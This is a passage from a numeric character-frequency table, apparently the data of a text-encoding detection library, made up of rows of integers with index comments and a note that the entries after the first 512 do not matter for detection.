3415,4749,2437, 451,5614,3780,2542,2073,4388,2744,4389,4125,5615,1764,4750,5616, # 4528 4390, 350,4751,2283,2395,2493,5617,4391,4126,2249,1434,4127, 488,4752, 458,4392, # 4544 4128,3781, 771,1330,2396,3914,2576,3184,2160,2414,1553,2677,3185,4393,5618,2494, # 4560 2895,2622,1720,2711,4394,3416,4753,5619,2543,4395,5620,3262,4396,2778,5621,2016, # 4576 2745,5622,1155,1017,3782,3915,5623,3336,2313, 201,1865,4397,1430,5624,4129,5625, # 4592 5626,5627,5628,5629,4398,1604,5630, 414,1866, 371,2595,4754,4755,3532,2017,3127, # 4608 4756,1708, 960,4399, 887, 389,2172,1536,1663,1721,5631,2232,4130,2356,2940,1580, # 4624 5632,5633,1744,4757,2544,4758,4759,5634,4760,5635,2074,5636,4761,3647,3417,2896, # 4640 4400,5637,4401,2650,3418,2815, 673,2712,2465, 709,3533,4131,3648,4402,5638,1148, # 4656 502, 634,5639,5640,1204,4762,3649,1575,4763,2623,3783,5641,3784,3128, 948,3263, # 4672 121,1745,3916,1110,5642,4403,3083,2516,3027,4132,3785,1151,1771,3917,1488,4133, # 4688 1987,5643,2438,3534,5644,5645,2094,5646,4404,3918,1213,1407,2816, 531,2746,2545, # 4704 3264,1011,1537,4764,2779,4405,3129,1061,5647,3786,3787,1867,2897,5648,2018, 120, # 4720 4406,4407,2063,3650,3265,2314,3919,2678,3419,1955,4765,4134,5649,3535,1047,2713, # 4736 1266,5650,1368,4766,2858, 649,3420,3920,2546,2747,1102,2859,2679,5651,5652,2000, # 4752 5653,1111,3651,2977,5654,2495,3921,3652,2817,1855,3421,3788,5655,5656,3422,2415, # 4768 2898,3337,3266,3653,5657,2577,5658,3654,2818,4135,1460, 856,5659,3655,5660,2899, # 4784 2978,5661,2900,3922,5662,4408, 632,2517, 875,3923,1697,3924,2296,5663,5664,4767, # 4800 3028,1239, 580,4768,4409,5665, 914, 936,2075,1190,4136,1039,2124,5666,5667,5668, # 4816 5669,3423,1473,5670,1354,4410,3925,4769,2173,3084,4137, 915,3338,4411,4412,3339, # 4832 1605,1835,5671,2748, 398,3656,4413,3926,4138, 328,1913,2860,4139,3927,1331,4414, # 4848 3029, 937,4415,5672,3657,4140,4141,3424,2161,4770,3425, 524, 742, 538,3085,1012, # 4864 5673,5674,3928,2466,5675, 658,1103, 225,3929,5676,5677,4771,5678,4772,5679,3267, # 4880 1243,5680,4142, 963,2250,4773,5681,2714,3658,3186,5682,5683,2596,2332,5684,4774, # 4896 5685,5686,5687,3536, 957,3426,2547,2033,1931,2941,2467, 870,2019,3659,1746,2780, # 4912 2781,2439,2468,5688,3930,5689,3789,3130,3790,3537,3427,3791,5690,1179,3086,5691, # 4928 3187,2378,4416,3792,2548,3188,3131,2749,4143,5692,3428,1556,2549,2297, 977,2901, # 4944 2034,4144,1205,3429,5693,1765,3430,3189,2125,1271, 714,1689,4775,3538,5694,2333, # 4960 3931, 533,4417,3660,2184, 617,5695,2469,3340,3539,2315,5696,5697,3190,5698,5699, # 4976 3932,1988, 618, 427,2651,3540,3431,5700,5701,1244,1690,5702,2819,4418,4776,5703, # 4992 3541,4777,5704,2284,1576, 473,3661,4419,3432, 972,5705,3662,5706,3087,5707,5708, # 5008 4778,4779,5709,3793,4145,4146,5710, 153,4780, 356,5711,1892,2902,4420,2144, 408, # 5024 803,2357,5712,3933,5713,4421,1646,2578,2518,4781,4782,3934,5714,3935,4422,5715, # 5040 2416,3433, 752,5716,5717,1962,3341,2979,5718, 746,3030,2470,4783,4423,3794, 698, # 5056 4784,1893,4424,3663,2550,4785,3664,3936,5719,3191,3434,5720,1824,1302,4147,2715, # 5072 3937,1974,4425,5721,4426,3192, 823,1303,1288,1236,2861,3542,4148,3435, 774,3938, # 5088 5722,1581,4786,1304,2862,3939,4787,5723,2440,2162,1083,3268,4427,4149,4428, 344, # 5104 1173, 288,2316, 454,1683,5724,5725,1461,4788,4150,2597,5726,5727,4789, 985, 894, # 5120 5728,3436,3193,5729,1914,2942,3795,1989,5730,2111,1975,5731,4151,5732,2579,1194, # 5136 425,5733,4790,3194,1245,3796,4429,5734,5735,2863,5736, 636,4791,1856,3940, 760, # 5152 1800,5737,4430,2212,1508,4792,4152,1894,1684,2298,5738,5739,4793,4431,4432,2213, # 5168 479,5740,5741, 832,5742,4153,2496,5743,2980,2497,3797, 990,3132, 627,1815,2652, # 5184 4433,1582,4434,2126,2112,3543,4794,5744, 799,4435,3195,5745,4795,2113,1737,3031, # 5200 1018, 543, 754,4436,3342,1676,4796,4797,4154,4798,1489,5746,3544,5747,2624,2903, # 5216 4155,5748,5749,2981,5750,5751,5752,5753,3196,4799,4800,2185,1722,5754,3269,3270, # 5232 1843,3665,1715, 481, 365,1976,1857,5755,5756,1963,2498,4801,5757,2127,3666,3271, # 5248 433,1895,2064,2076,5758, 602,2750,5759,5760,5761,5762,5763,3032,1628,3437,5764, # 5264 3197,4802,4156,2904,4803,2519,5765,2551,2782,5766,5767,5768,3343,4804,2905,5769, # 5280 4805,5770,2864,4806,4807,1221,2982,4157,2520,5771,5772,5773,1868,1990,5774,5775, # 5296 5776,1896,5777,5778,4808,1897,4158, 318,5779,2095,4159,4437,5780,5781, 485,5782, # 5312 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, # 5328 3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, # 5344 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, # 5360 2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376 #last 512 #Everything below is of no interest for detection purpose 2522,1613,4812,5799,3345,3945,2523,5800,4162,5801,1637,4163,2471,4813,3946,5802, # 5392 2500,3034,3800,5803,5804,2195,4814,5805,2163,5806,5807,5808,5809,5810,5811,5812, # 5408 5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828, # 5424 5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844, # 5440 5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856,5857,5858,5859,5860, # 5456 5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872,5873,5874,5875,5876, # 5472 5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888,5889,5890,5891,5892, # 5488 5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905,5906,5907,5908, # 5504 5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920,5921,5922,5923,5924, # 5520 5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936,5937,5938,5939,5940, # 5536 5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952,5953,5954,5955,5956, # 5552 5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968,5969,5970,5971,5972, # 5568 5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984,5985,5986,5987,5988, # 5584 5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004, # 5600 6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020, # 5616 6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032,6033,6034,6035,6036, # 5632 6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052, # 5648 6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068, # 5664 6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084, # 5680 6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100, # 5696 6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116, # 5712 6117,6118,6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,6132, # 5728 6133,6134,6135,6136,6137,6138,6139,6140,6141,6142,6143,6144,6145,6146,6147,6148, # 5744 6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163,6164, # 5760 6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179,6180, # 5776 6181,6182,6183,6184,6185,6186,6187,6188,6189,6190,6191,6192,6193,6194,6195,6196, # 5792 6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210,6211,6212, # 5808 6213,6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,3670,6224,6225,6226,6227, # 5824 6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241,6242,6243, # 5840 6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,6254,6255,6256,6257,6258,6259, # 5856 6260,6261,6262,6263,6264,6265,6266,6267,6268,6269,6270,6271,6272,6273,6274,6275, # 5872 6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,4815,6286,6287,6288,6289,6290, # 5888 6291,6292,4816,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,6303,6304,6305, # 5904 6306,6307,6308,6309,6310,6311,4817,4818,6312,6313,6314,6315,6316,6317,6318,4819, # 5920 6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333,6334, # 5936 6335,6336,6337,4820,6338,6339,6340,6341,6342,6343,6344,6345,6346,6347,6348,6349, # 5952 6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363,6364,6365, # 5968 6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379,6380,6381, # 5984 6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395,6396,6397, # 6000 6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,3441,6411,6412, # 6016 6413,6414,6415,6416,6417,6418,6419,6420,6421,6422,6423,6424,6425,4440,6426,6427, # 6032 6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,6439,6440,6441,6442,6443, # 6048 6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,4821,6455,6456,6457,6458, # 6064 6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472,6473,6474, # 6080 6475,6476,6477,3947,3948,6478,6479,6480,6481,3272,4441,6482,6483,6484,6485,4442, # 6096 6486,6487,6488,6489,6490,6491,6492,6493,6494,6495,6496,4822,6497,6498,6499,6500, # 6112 6501,6502,6503,6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516, # 6128 6517,6518,6519,6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532, # 6144 6533,6534,6535,6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548, # 6160 6549,6550,6551,6552,6553,6554,6555,6556,2784,6557,4823,6558,6559,6560,6561,6562, # 6176 6563,6564,6565,6566,6567,6568,6569,3949,6570,6571,6572,4824,6573,6574,6575,6576, # 6192 6577,6578,6579,6580,6581,6582,6583,4825,6584,6585,6586,3950,2785,6587,6588,6589, # 6208 6590,6591,6592,6593,6594,6595,6596,6597,6598,6599,6600,6601,6602,6603,6604,6605, # 6224 6606,6607,6608,6609,6610,6611,6612,4826,6613,6614,6615,4827,6616,6617,6618,6619, # 6240 6620,6621,6622,6623,6624,6625,4164,6626,6627,6628,6629,6630,6631,6632,6633,6634, # 6256 3547,6635,4828,6636,6637,6638,6639,6640,6641,6642,3951,2984,6643,6644,6645,6646, # 6272 6647,6648,6649,4165,6650,4829,6651,6652,4830,6653,6654,6655,6656,6657,6658,6659, # 6288 6660,6661,6662,4831,6663,6664,6665,6666,6667,6668,6669,6670,6671,4166,6672,4832, # 6304 3952,6673,6674,6675,6676,4833,6677,6678,6679,4167,6680,6681,6682,3198,6683,6684, # 6320 6685,6686,6687,6688,6689,6690,6691,6692,6693,6694,6695,6696,6697,4834,6698,6699, # 6336 6700,6701,6702,6703,6704,6705,6706,6707,6708,6709,6710,6711,6712,6713,6714,6715, # 6352 6716,6717,6718,6719,6720,6721,6722,6723,6724,6725,6726,6727,6728,6729,6730,6731, # 6368 6732,6733,6734,4443,6735,6736,6737,6738,6739,6740,6741,6742,6743,6744,6745,4444, # 6384 6746,6747,6748,6749,6750,6751,6752,6753,6754,6755,6756,6757,6758,6759,6760,6761, # 6400 6762,6763,6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777, # 6416 6778,6779,6780,6781,4168,6782,6783,3442,6784,6785,6786,6787,6788,6789,6790,6791, # 6432 4169,6792,6793,6794,6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806, # 6448 6807,6808,6809,6810,6811,4835,6812,6813,6814,4445,6815,6816,4446,6817,6818,6819, # 6464 6820,6821,6822,6823,6824,6825,6826,6827,6828,6829,6830,6831,6832,6833,6834,6835, # 6480 3548,6836,6837,6838,6839,6840,6841,6842,6843,6844,6845,6846,4836,6847,6848,6849, # 6496 6850,6851,6852,6853,6854,3953,6855,6856,6857,6858,6859,6860,6861,6862,6863,6864, # 6512 6865,6866,6867,6868,6869,6870,6871,6872,6873,6874,6875,6876,6877,3199,6878,6879, # 6528 6880,6881,6882,4447,6883,6884,6885,6886,6887,6888,6889,6890,6891,6892,6893,6894, # 6544 6895,6896,6897,6898,6899,6900,6901,6902,6903,6904,4170,6905,6906,6907,6908,6909, # 6560 6910,6911,6912,6913,6914,6915,6916,6917,6918,6919,6920,6921,6922,6923,6924,6925, # 6576 6926,6927,4837,6928,6929,6930,6931,6932,6933,6934,6935,6936,3346,6937,6938,4838, # 6592 6939,6940,6941,4448,6942,6943,6944,6945,6946,4449,6947,6948,6949,6950,6951,6952, # 6608 6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966,6967,6968, # 6624 6969,6970,6971,6972,6973,6974,6975,6976,6977,6978,6979,6980,6981,6982,6983,6984, # 6640 6985,6986,6987,6988,6989,6990,6991,6992,6993,6994,3671,6995,6996,6997,6998,4839, # 6656 6999,7000,7001,7002,3549,7003,7004,7005,7006,7007,7008,7009,7010,7011,7012,7013, # 6672 7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027,7028,7029, # 6688 7030,4840,7031,7032,7033,7034,7035,7036,7037,7038,4841,7039,7040,7041,7042,7043, # 6704 7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058,7059, # 6720 7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,2985,7071,7072,7073,7074, # 6736 7075,7076,7077,7078,7079,7080,4842,7081,7082,7083,7084,7085,7086,7087,7088,7089, # 6752 7090,7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105, # 6768 7106,7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,4450,7119,7120, # 6784 7121,7122,7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136, # 6800 7137,7138,7139,7140,7141,7142,7143,4843,7144,7145,7146,7147,7148,7149,7150,7151, # 6816 7152,7153,7154,7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167, # 6832 7168,7169,7170,7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183, # 6848 7184,7185,7186,7187,7188,4171,4172,7189,7190,7191,7192,7193,7194,7195,7196,7197, # 6864 7198,7199,7200,7201,7202,7203,7204,7205,7206,7207,7208,7209,7210,7211,7212,7213, # 6880 7214,7215,7216,7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229, # 6896 7230,7231,7232,7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245, # 6912 7246,7247,7248,7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261, # 6928 7262,7263,7264,7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277, # 6944 7278,7279,7280,7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293, # 6960 7294,7295,7296,4844,7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308, # 6976 7309,7310,7311,7312,7313,7314,7315,7316,4451,7317,7318,7319,7320,7321,7322,7323, # 6992 7324,7325,7326,7327,7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339, # 7008 7340,7341,7342,7343,7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,4173,7354, # 7024 7355,4845,7356,7357,7358,7359,7360,7361,7362,7363,7364,7365,7366,7367,7368,7369, # 7040 7370,7371,7372,7373,7374,7375,7376,7377,7378,7379,7380,7381,7382,7383,7384,7385, # 7056 7386,7387,7388,4846,7389,7390,7391,7392,7393,7394,7395,7396,7397,7398,7399,7400, # 7072 7401,7402,7403,7404,7405,3672,7406,7407,7408,7409,7410,7411,7412,7413,7414,7415, # 7088 7416,7417,7418,7419,7420,7421,7422,7423,7424,7425,7426,7427,7428,7429,7430,7431, # 7104 7432,7433,7434,7435,7436,7437,7438,7439,7440,7441,7442,7443,7444,7445,7446,7447, # 7120 7448,7449,7450,7451,7452,7453,4452,7454,3200,7455,7456,7457,7458,7459,7460,7461, # 7136 7462,7463,7464,7465,7466,7467,7468,7469,7470,7471,7472,7473,7474,4847,7475,7476, # 7152 7477,3133,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487,7488,7489,7490,7491, # 7168 7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,3347,7503,7504,7505,7506, # 7184 7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519,7520,7521,4848, # 7200 7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535,7536,7537, # 7216 7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,3801,4849,7550,7551, # 7232 7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, # 7248 7568,7569,3035,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582, # 7264 7583,7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598, # 7280 7599,7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614, # 7296 7615,7616,4850,7617,7618,3802,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628, # 7312 7629,7630,7631,7632,4851,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643, # 7328 7644,7645,7646,7647,7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659, # 7344 7660,7661,7662,7663,7664,7665,7666,7667,7668,7669,7670,4453,7671,7672,7673,7674, # 7360 7675,7676,7677,7678,7679,7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690, # 7376 7691,7692,7693,7694,7695,7696,7697,3443,7698,7699,7700,7701,7702,4454,7703,7704, # 7392 7705,7706,7707,7708,7709,7710,7711,7712,7713,2472,7714,7715,7716,7717,7718,7719, # 7408 7720,7721,7722,7723,7724,7725,7726,7727,7728,7729,7730,7731,3954,7732,7733,7734, # 7424 7735,7736,7737,7738,7739,7740,7741,7742,7743,7744,7745,7746,7747,7748,7749,7750, # 7440 3134,7751,7752,4852,7753,7754,7755,4853,7756,7757,7758,7759,7760,4174,7761,7762, # 7456 7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,7777,7778, # 7472 7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791,7792,7793,7794, # 7488 7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,4854,7806,7807,7808,7809, # 7504 7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824,7825, # 7520 4855,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7536 7841,7842,7843,7844,7845,7846,7847,3955,7848,7849,7850,7851,7852,7853,7854,7855, # 7552 7856,7857,7858,7859,7860,3444,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870, # 7568 7871,7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886, # 7584 7887,7888,7889,7890,7891,4175,7892,7893,7894,7895,7896,4856,4857,7897,7898,7899, # 7600 7900,2598,7901,7902,7903,7904,7905,7906,7907,7908,4455,7909,7910,7911,7912,7913, # 7616 7914,3201,7915,7916,7917,7918,7919,7920,7921,4858,7922,7923,7924,7925,7926,7927, # 7632 7928,7929,7930,7931,7932,7933,7934,7935,7936,7937,7938,7939,7940,7941,7942,7943, # 7648 7944,7945,7946,7947,7948,7949,7950,7951,7952,7953,7954,7955,7956,7957,7958,7959, # 7664 7960,7961,7962,7963,7964,7965,7966,7967,7968,7969,7970,7971,7972,7973,7974,7975, # 7680 7976,7977,7978,7979,7980,7981,4859,7982,7983,7984,7985,7986,7987,7988,7989,7990, # 7696 7991,7992,7993,7994,7995,7996,4860,7997,7998,7999,8000,8001,8002,8003,8004,8005, # 7712 8006,8007,8008,8009,8010,8011,8012,8013,8014,8015,8016,4176,8017,8018,8019,8020, # 7728 8021,8022,8023,4861,8024,8025,8026,8027,8028,8029,8030,8031,8032,8033,8034,8035, # 7744 8036,4862,4456,8037,8038,8039,8040,4863,8041,8042,8043,8044,8045,8046,8047,8048, # 7760 8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,8064, # 7776 8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079,8080, # 7792 8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096, # 7808 8097,8098,8099,4864,4177,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110, # 7824 8111,8112,8113,8114,8115,8116,8117,8118,8119,8120,4178,8121,8122,8123,8124,8125, # 7840 8126,8127,8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141, # 7856 8142,8143,8144,8145,4865,4866,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155, # 7872 8156,8157,8158,8159,8160,8161,8162,8163,8164,8165,4179,8166,8167,8168,8169,8170, # 7888 8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181,4457,8182,8183,8184,8185, # 7904 8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201, # 7920 8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213,8214,8215,8216,8217, # 7936 8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229,8230,8231,8232,8233, # 7952 8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245,8246,8247,8248,8249, # 7968 8250,8251,8252,8253,8254,8255,8256,3445,8257,8258,8259,8260,8261,8262,4458,8263, # 7984 8264,8265,8266,8267,8268,8269,8270,8271,8272,4459,8273,8274,8275,8276,3550,8277, # 8000 8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,4460,8290,8291,8292, # 8016 8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,4867, # 8032 8308,8309,8310,8311,8312,3551,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322, # 8048 8323,8324,8325,8326,4868,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337, # 8064 8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353, # 8080 8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,4869,4461,8364,8365,8366,8367, # 8096 8368,8369,8370,4870,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382, # 8112 8383,8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398, # 8128 8399,8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,4871,8411,8412,8413, # 8144 8414,8415,8416,8417,8418,8419,8420,8421,8422,4462,8423,8424,8425,8426,8427,8428, # 8160 8429,8430,8431,8432,8433,2986,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443, # 8176 8444,8445,8446,8447,8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459, # 8192 8460,8461,8462,8463,8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475, # 8208 8476,8477,8478,4180,8479,8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490, # 8224 8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506, # 8240 8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522, # 8256 8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538, # 8272 8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554, # 8288 8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,4872,8565,8566,8567,8568,8569, # 8304 8570,8571,8572,8573,4873,8574,8575,8576,8577,8578,8579,8580,8581,8582,8583,8584, # 8320 8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597,8598,8599,8600, # 8336 8601,8602,8603,8604,8605,3803,8606,8607,8608,8609,8610,8611,8612,8613,4874,3804, # 8352 8614,8615,8616,8617,8618,8619,8620,8621,3956,8622,8623,8624,8625,8626,8627,8628, # 8368 8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,2865,8639,8640,8641,8642,8643, # 8384 8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,4463,8657,8658, # 8400 8659,4875,4876,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672, # 8416 8673,8674,8675,8676,8677,8678,8679,8680,8681,4464,8682,8683,8684,8685,8686,8687, # 8432 8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, # 8448 8704,8705,8706,8707,8708,8709,2261,8710,8711,8712,8713,8714,8715,8716,8717,8718, # 8464 8719,8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,4181, # 8480 8734,8735,8736,8737,8738,8739,8740,8741,8742,8743,8744,8745,8746,8747,8748,8749, # 8496 8750,8751,8752,8753,8754,8755,8756,8757,8758,8759,8760,8761,8762,8763,4877,8764, # 8512 8765,8766,8767,8768,8769,8770,8771,8772,8773,8774,8775,8776,8777,8778,8779,8780, # 8528 8781,8782,8783,8784,8785,8786,8787,8788,4878,8789,4879,8790,8791,8792,4880,8793, # 8544 8794,8795,8796,8797,8798,8799,8800,8801,4881,8802,8803,8804,8805,8806,8807,8808, # 8560 8809,8810,8811,8812,8813,8814,8815,3957,8816,8817,8818,8819,8820,8821,8822,8823, # 8576 8824,8825,8826,8827,8828,8829,8830,8831,8832,8833,8834,8835,8836,8837,8838,8839, # 8592 8840,8841,8842,8843,8844,8845,8846,8847,4882,8848,8849,8850,8851,8852,8853,8854, # 8608 8855,8856,8857,8858,8859,8860,8861,8862,8863,8864,8865,8866,8867,8868,8869,8870, # 8624 8871,8872,8873,8874,8875,8876,8877,8878,8879,8880,8881,8882,8883,8884,3202,8885, # 8640 8886,8887,8888,8889,8890,8891,8892,8893,8894,8895,8896,8897,8898,8899,8900,8901, # 8656 8902,8903,8904,8905,8906,8907,8908,8909,8910,8911,8912,8913,8914,8915,8916,8917, # 8672 8918,8919,8920,8921,8922,8923,8924,4465,8925,8926,8927,8928,8929,8930,8931,8932, # 8688 4883,8933,8934,8935,8936,8937,8938,8939,8940,8941,8942,8943,2214,8944,8945,8946, # 8704 8947,8948,8949,8950,8951,8952,8953,8954,8955,8956,8957,8958,8959,8960,8961,8962, # 8720 8963,8964,8965,4884,8966,8967,8968,8969,8970,8971,8972,8973,8974,8975,8976,8977, # 8736 8978,8979,8980,8981,8982,8983,8984,8985,8986,8987,8988,8989,8990,8991,8992,4885, # 8752 8993,8994,8995,8996,8997,8998,8999,9000,9001,9002,9003,9004,9005,9006,9007,9008, # 8768 9009,9010,9011,9012,9013,9014,9015,9016,9017,9018,9019,9020,9021,4182,9022,9023, # 8784 9024,9025,9026,9027,9028,9029,9030,9031,9032,9033,9034,9035,9036,9037,9038,9039, # 8800 9040,9041,9042,9043,9044,9045,9046,9047,9048,9049,9050,9051,9052,9053,9054,9055, # 8816 9056,9057,9058,9059,9060,9061,9062,9063,4886,9064,9065,9066,9067,9068,9069,4887, # 8832 9070,9071,9072,9073,9074,9075,9076,9077,9078,9079,9080,9081,9082,9083,9084,9085, # 8848 9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9101, # 8864 9102,9103,9104,9105,9106,9107,9108,9109,9110,9111,9112,9113,9114,9115,9116,9117, # 8880 9118,9119,9120,9121,9122,9123,9124,9125,9126,9127,9128,9129,9130,9131,9132,9133, # 8896 9134,9135,9136,9137,9138,9139,9140,9141,3958,9142,9143,9144,9145,9146,9147,9148, # 8912 9149,9150,9151,4888,9152,9153,9154,9155,9156,9157,9158,9159,9160,9161,9162,9163, # 8928 9164,9165,9166,9167,9168,9169,9170,9171,9172,9173,9174,9175,4889,9176,9177,9178, # 8944 9179,9180,9181,9182,9183,9184,9185,9186,9187,9188,9189,9190,9191,9192,9193,9194, # 8960 9195,9196,9197,9198,9199,9200,9201,9202,9203,4890,9204,9205,9206,9207,9208,9209, # 8976 9210,9211,9212,9213,9214,9215,9216,9217,9218,9219,9220,9221,9222,4466,9223,9224, # 8992 9225,9226,9227,9228,9229,9230,9231,9232,9233,9234,9235,9236,9237,9238,9239,9240, # 9008 9241,9242,9243,9244,9245,4891,9246,9247,9248,9249,9250,9251,9252,9253,9254,9255, # 9024 